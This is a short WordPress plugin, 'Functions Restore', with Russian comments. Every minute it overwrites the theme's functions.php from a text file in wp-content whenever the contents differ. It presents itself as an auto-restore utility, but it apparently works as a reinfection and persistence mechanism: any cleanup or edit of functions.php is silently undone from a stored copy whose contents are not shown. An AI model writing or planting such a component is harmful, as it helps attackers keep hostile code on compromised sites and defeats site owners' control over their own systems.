/* Plugin Name: Functions Restore Description: Автовосстановление functions.php из TXT-бэкапа Author: Admin Version: 1.4 */ add_action('fr_cron_event', function () { $functions_file = get_template_directory() . '/functions.php'; $backup_file = WP_CONTENT_DIR . '/functions_backup.txt'; if (!file_exists($backup_file)) return; // без бэкапа ничего не делаем $backup_content = file_get_contents($backup_file); // Восстанавливаем, если файла нет или содержимое отличается if (!file_exists($functions_file) || md5_file($functions_file) !== md5($backup_content)) { file_put_contents($functions_file, $backup_content); error_log('functions.php восстановлен из TXT-бэкапа'); } }); if (!wp_next_scheduled('fr_cron_event')) { wp_schedule_event(time(), 'every_1min', 'fr_cron_event'); } add_filter('cron_schedules', function ($schedules) { $schedules['every_1min'] = ['interval' => 60, 'display' => __('Every 1 Minute')]; return $schedules; });